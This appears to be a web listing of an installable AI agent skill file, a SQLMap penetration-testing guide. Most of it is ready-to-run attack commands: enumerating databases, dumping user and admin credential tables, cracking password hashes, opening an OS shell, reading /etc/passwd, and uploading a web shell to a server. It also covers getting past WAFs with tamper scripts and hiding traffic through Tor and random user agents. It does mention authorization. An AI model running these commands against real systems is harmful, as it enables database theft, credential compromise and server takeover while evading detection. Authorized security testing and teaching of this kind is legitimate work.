This skill should be used when the user asks to "automate SQL injection testing," "enumerate database structure," "extract database credentials using sqlmap," "dump tables and columns from a vulnerable database," or "perform automated database penetration testing." It provides comprehensive guidance for using SQLMap to detect and exploit SQL injection vulnerabilities.
Add this skill
npx mdskills install sickn33/sqlmap-database-pentestingComprehensive SQLMap guide with clear workflows, extensive examples, and thorough troubleshooting
1---2name: SQLMap Database Penetration Testing3description: This skill should be used when the user asks to "automate SQL injection testing," "enumerate database structure," "extract database credentials using sqlmap," "dump tables and columns from a vulnerable database," or "perform automated database penetration testing." It provides comprehensive guidance for using SQLMap to detect and exploit SQL injection vulnerabilities.4metadata:5 author: zebbern6 version: "1.1"7---89# SQLMap Database Penetration Testing1011## Purpose1213Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap. This skill covers database enumeration, table and column discovery, data extraction, multiple target specification methods, and advanced exploitation techniques for MySQL, PostgreSQL, MSSQL, Oracle, and other database management systems.1415## Inputs / Prerequisites1617- **Target URL**: Web application URL with injectable parameter (e.g., `?id=1`)18- **SQLMap Installation**: Pre-installed on Kali Linux or downloaded from GitHub19- **Verified Injection Point**: URL parameter confirmed or suspected to be SQL injectable20- **Request File (Optional)**: Burp Suite captured HTTP request for POST-based injection21- **Authorization**: Written permission for penetration testing activities2223## Outputs / Deliverables2425- **Database Enumeration**: List of all databases on the target server26- **Table Structure**: Complete table names within target database27- **Column Mapping**: Column names and data types for each table28- **Extracted Data**: Dumped records including usernames, passwords, and sensitive data29- **Hash Values**: Password hashes for offline cracking30- **Vulnerability Report**: Confirmation of SQL injection type and severity3132## Core Workflow3334### 1. Identify SQL Injection Vulnerability3536#### Manual Verification37```bash38# Add single quote to break query39http://target.com/page.php?id=1'4041# If error message appears, likely SQL injectable42# Error example: "You have an error in your SQL syntax"43```4445#### Initial SQLMap Scan46```bash47# Basic vulnerability detection48sqlmap -u "http://target.com/page.php?id=1" --batch4950# With verbosity for detailed output51sqlmap -u "http://target.com/page.php?id=1" --batch -v 352```5354### 2. Enumerate Databases5556#### List All Databases57```bash58sqlmap -u "http://target.com/page.php?id=1" --dbs --batch59```6061**Key Options:**62- `-u`: Target URL with injectable parameter63- `--dbs`: Enumerate database names64- `--batch`: Use default answers (non-interactive mode)6566### 3. Enumerate Tables6768#### List Tables in Specific Database69```bash70sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch71```7273**Key Options:**74- `-D`: Specify target database name75- `--tables`: Enumerate table names7677### 4. Enumerate Columns7879#### List Columns in Specific Table80```bash81sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch82```8384**Key Options:**85- `-T`: Specify target table name86- `--columns`: Enumerate column names8788### 5. Extract Data8990#### Dump Specific Table Data91```bash92sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch93```9495#### Dump Specific Columns96```bash97sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch98```99100#### Dump Entire Database101```bash102sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch103```104105**Key Options:**106- `--dump`: Extract all data from specified table107- `--dump-all`: Extract all data from all tables108- `-C`: Specify column names to extract109110### 6. Advanced Target Options111112#### Target from HTTP Request File113```bash114# Save Burp Suite request to file, then:115sqlmap -r /path/to/request.txt --dbs --batch116```117118#### Target from Log File119```bash120# Feed log file with multiple requests121sqlmap -l /path/to/logfile --dbs --batch122```123124#### Target Multiple URLs (Bulk File)125```bash126# Create file with URLs, one per line:127# http://target1.com/page.php?id=1128# http://target2.com/page.php?id=2129sqlmap -m /path/to/bulkfile.txt --dbs --batch130```131132#### Target via Google Dorks (Use with Caution)133```bash134# Automatically find and test vulnerable sites (LEGAL TARGETS ONLY)135sqlmap -g "inurl:?id= site:yourdomain.com" --batch136```137138## Quick Reference Commands139140### Database Enumeration Progression141142| Stage | Command |143|-------|---------|144| List Databases | `sqlmap -u "URL" --dbs --batch` |145| List Tables | `sqlmap -u "URL" -D dbname --tables --batch` |146| List Columns | `sqlmap -u "URL" -D dbname -T tablename --columns --batch` |147| Dump Data | `sqlmap -u "URL" -D dbname -T tablename --dump --batch` |148| Dump All | `sqlmap -u "URL" -D dbname --dump-all --batch` |149150### Supported Database Management Systems151152| DBMS | Support Level |153|------|---------------|154| MySQL | Full Support |155| PostgreSQL | Full Support |156| Microsoft SQL Server | Full Support |157| Oracle | Full Support |158| Microsoft Access | Full Support |159| IBM DB2 | Full Support |160| SQLite | Full Support |161| Firebird | Full Support |162| Sybase | Full Support |163| SAP MaxDB | Full Support |164| HSQLDB | Full Support |165| Informix | Full Support |166167### SQL Injection Techniques168169| Technique | Description | Flag |170|-----------|-------------|------|171| Boolean-based blind | Infers data from true/false responses | `--technique=B` |172| Time-based blind | Uses time delays to infer data | `--technique=T` |173| Error-based | Extracts data from error messages | `--technique=E` |174| UNION query-based | Uses UNION to append results | `--technique=U` |175| Stacked queries | Executes multiple statements | `--technique=S` |176| Out-of-band | Uses DNS or HTTP for exfiltration | `--technique=Q` |177178### Essential Options179180| Option | Description |181|--------|-------------|182| `-u` | Target URL |183| `-r` | Load HTTP request from file |184| `-l` | Parse targets from Burp/WebScarab log |185| `-m` | Bulk file with multiple targets |186| `-g` | Google dork (use responsibly) |187| `--dbs` | Enumerate databases |188| `--tables` | Enumerate tables |189| `--columns` | Enumerate columns |190| `--dump` | Dump table data |191| `--dump-all` | Dump all database data |192| `-D` | Specify database |193| `-T` | Specify table |194| `-C` | Specify columns |195| `--batch` | Non-interactive mode |196| `--random-agent` | Use random User-Agent |197| `--level` | Level of tests (1-5) |198| `--risk` | Risk of tests (1-3) |199200## Constraints and Limitations201202### Operational Boundaries203- Requires valid injectable parameter in target URL204- Network connectivity to target database server required205- Large database dumps may take significant time206- Some WAF/IPS systems may block SQLMap traffic207- Time-based attacks significantly slower than error-based208209### Performance Considerations210- Use `--threads` to speed up enumeration (default: 1)211- Limit dumps with `--start` and `--stop` for large tables212- Use `--technique` to specify faster injection method if known213214### Legal Requirements215- Only test systems with explicit written authorization216- Google dork attacks against unknown sites are illegal217- Document all testing activities and findings218- Respect scope limitations defined in engagement rules219220### Detection Risk221- SQLMap generates significant log entries222- Use `--random-agent` to vary User-Agent header223- Consider `--delay` to avoid triggering rate limits224- Proxy through Tor with `--tor` for anonymity (authorized tests only)225226## Examples227228### Example 1: Complete Database Enumeration229```bash230# Step 1: Discover databases231sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch232# Result: acuart database found233234# Step 2: List tables235sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch236# Result: users, products, carts, etc.237238# Step 3: List columns239sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch240# Result: username, password, email columns241242# Step 4: Dump user credentials243sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch244```245246### Example 2: POST Request Injection247```bash248# Save Burp request to file (login.txt):249# POST /login.php HTTP/1.1250# Host: target.com251# Content-Type: application/x-www-form-urlencoded252#253# username=admin&password=test254255# Run SQLMap with request file256sqlmap -r /root/Desktop/login.txt -p username --dbs --batch257```258259### Example 3: Bulk Target Scanning260```bash261# Create bulkfile.txt:262echo "http://192.168.1.10/sqli/Less-1/?id=1" > bulkfile.txt263echo "http://192.168.1.10/sqli/Less-2/?id=1" >> bulkfile.txt264265# Scan all targets266sqlmap -m bulkfile.txt --dbs --batch267```268269### Example 4: Aggressive Testing270```bash271# High level and risk for thorough testing272sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --level=5 --risk=3273274# Specify all techniques275sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --technique=BEUSTQ276```277278### Example 5: Extract Specific Credentials279```bash280# Target specific columns281sqlmap -u "http://target.com/page.php?id=1" \282 -D webapp \283 -T admin_users \284 -C admin_name,admin_pass,admin_email \285 --dump --batch286287# Automatically crack password hashes288sqlmap -u "http://target.com/page.php?id=1" \289 -D webapp \290 -T users \291 --dump --batch \292 --passwords293```294295### Example 6: OS Shell Access (Advanced)296```bash297# Get interactive OS shell (requires DBA privileges)298sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch299300# Execute specific OS command301sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" --batch302303# File read from server304sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch305306# File upload to server307sqlmap -u "http://target.com/page.php?id=1" --file-write="/local/shell.php" --file-dest="/var/www/html/shell.php" --batch308```309310## Troubleshooting311312### Issue: "Parameter does not seem injectable"313**Cause**: SQLMap cannot find injection point314**Solution**:315```bash316# Increase testing level and risk317sqlmap -u "URL" --dbs --batch --level=5 --risk=3318319# Specify parameter explicitly320sqlmap -u "URL" -p "id" --dbs --batch321322# Try different injection techniques323sqlmap -u "URL" --dbs --batch --technique=BT324325# Add prefix/suffix for filter bypass326sqlmap -u "URL" --dbs --batch --prefix="'" --suffix="-- -"327```328329### Issue: Target Behind WAF/Firewall330**Cause**: Web Application Firewall blocking requests331**Solution**:332```bash333# Use tamper scripts334sqlmap -u "URL" --dbs --batch --tamper=space2comment335336# List available tamper scripts337sqlmap --list-tampers338339# Common tamper combinations340sqlmap -u "URL" --dbs --batch --tamper=space2comment,between,randomcase341342# Add delay between requests343sqlmap -u "URL" --dbs --batch --delay=2344345# Use random User-Agent346sqlmap -u "URL" --dbs --batch --random-agent347```348349### Issue: Connection Timeout350**Cause**: Network issues or slow target351**Solution**:352```bash353# Increase timeout354sqlmap -u "URL" --dbs --batch --timeout=60355356# Reduce threads357sqlmap -u "URL" --dbs --batch --threads=1358359# Add retries360sqlmap -u "URL" --dbs --batch --retries=5361```362363### Issue: Time-Based Attacks Too Slow364**Cause**: Default time delay too conservative365**Solution**:366```bash367# Reduce time delay (risky, may cause false negatives)368sqlmap -u "URL" --dbs --batch --time-sec=3369370# Use boolean-based instead if possible371sqlmap -u "URL" --dbs --batch --technique=B372```373374### Issue: Cannot Dump Large Tables375**Cause**: Table has too many records376**Solution**:377```bash378# Limit number of records379sqlmap -u "URL" -D db -T table --dump --batch --start=1 --stop=100380381# Dump specific columns only382sqlmap -u "URL" -D db -T table -C username,password --dump --batch383384# Exclude specific columns385sqlmap -u "URL" -D db -T table --dump --batch --exclude-sysdbs386```387388### Issue: Session Drops During Long Scan389**Cause**: Session timeout or connection reset390**Solution**:391```bash392# Save and resume session393sqlmap -u "URL" --dbs --batch --output-dir=/root/sqlmap_session394395# Resume from saved session396sqlmap -u "URL" --dbs --batch --resume397398# Use persistent HTTP connection399sqlmap -u "URL" --dbs --batch --keep-alive400```401
Full transparency — inspect the skill content before installing.